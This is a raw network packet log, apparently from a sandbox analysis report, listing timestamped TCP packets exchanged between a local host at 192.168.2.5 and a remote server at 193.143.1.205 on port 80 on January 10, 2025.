Jan 10, 2025 17:48:34.665425062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.665425062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.665425062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.665425062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.665484905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.666105986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666119099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666132927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666145086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666157961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666162014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.666182041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.666203976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.666810989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666855097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666867971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666881084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666893005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.666898966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.666934967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693053007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693109989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693114996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693165064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693200111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693209887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693236113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693269014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693279028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693306923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693341017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693346024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693376064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693409920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693423033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693445921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693486929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693862915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693929911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.693977118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.693983078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.694019079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.694052935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.694067001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732105970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732161999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732189894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732207060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732218027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732245922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732273102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732346058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732367992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732393980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732393980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732405901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732475996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732497931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732520103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732573032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732650042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732667923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732676983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732717991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.732943058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.732973099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733000040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733014107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733026028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733052969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733083963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733274937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733300924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733323097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733330011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733355999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733376026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733382940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733422995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733694077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733720064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733752012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733762980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733791113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733831882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733831882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733860016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733886003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733907938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733911991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733939886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.733952045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.733968019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734014034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.734592915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734715939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734755993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734761000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.734781027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734807014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734823942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.734833002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734858990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734879017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.734885931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734915018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734927893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.734944105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.734985113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.735584974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735632896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735657930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735680103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.735691071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735735893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.735894918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735939026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735965014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.735977888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.735992908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.736021042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.736042023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737135887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737160921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737199068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737201929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737227917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737243891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737255096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737299919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737339020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737365007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737390995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737404108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737416983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737443924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737467051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.737469912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737499952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.737514019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738114119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738145113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738166094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738171101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738209009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738326073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738356113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738378048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738396883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738400936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738435984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738801956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738816023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738830090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738847971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.738862991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.738878012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.739063978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.744270086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751283884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751300097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751324892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751353025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751365900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751378059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751391888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751396894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751401901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751413107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751427889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751435995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751451015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751523018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751534939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751548052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751558065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751559019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751573086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751583099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751585960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751606941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751667023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751677036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751696110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751717091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751717091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751729012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751737118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751741886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751754999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751765966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.751773119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.751789093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.759884119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.764806032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779279947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779309988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779359102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779372931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779381990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779405117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779417992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779441118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779462099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779481888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779516935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779526949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779539108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779561043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779581070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779582024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779603958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779623985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779624939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779647112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779670000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.779670954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779696941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.779709101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.789741039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.794373035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818211079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818279028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818303108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818310976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818356037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818382025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818419933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818453074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818460941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818505049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818537951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818550110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818574905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818620920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818630934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818670034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818700075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818711996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818751097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818785906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818792105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818815947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818849087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818856001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818887949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818914890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818933964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.818953037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818988085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.818996906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.819019079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819051027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819056034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.819087029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819118977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819127083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.819154024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819189072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819194078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.819890976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819920063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.819948912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.819973946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820008993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820019007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820059061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820092916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820096016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820122004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820154905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820158958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820190907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820224047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820230007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820259094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820290089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820302963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820354939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820395947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820405960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820441008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820472956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820481062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820511103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820544958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820553064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820579052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820617914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820628881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820682049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820715904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820722103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820749998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820782900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820789099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820821047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820854902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820858955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820888996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820921898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820930004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.820955992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.820990086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821017981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821024895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821058035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821067095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821094036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821126938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821136951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821161985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821196079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821206093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821232080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821269035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821414948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821494102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821546078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821583986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821585894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821636915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821679115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821687937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821722031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821754932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821760893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821788073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821824074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821832895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821856976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821890116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821894884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821923971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821959972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.821960926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.821993113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.822026968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.822032928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.837681055 CET	80	49704	193.143.1.205	192.168.2.5
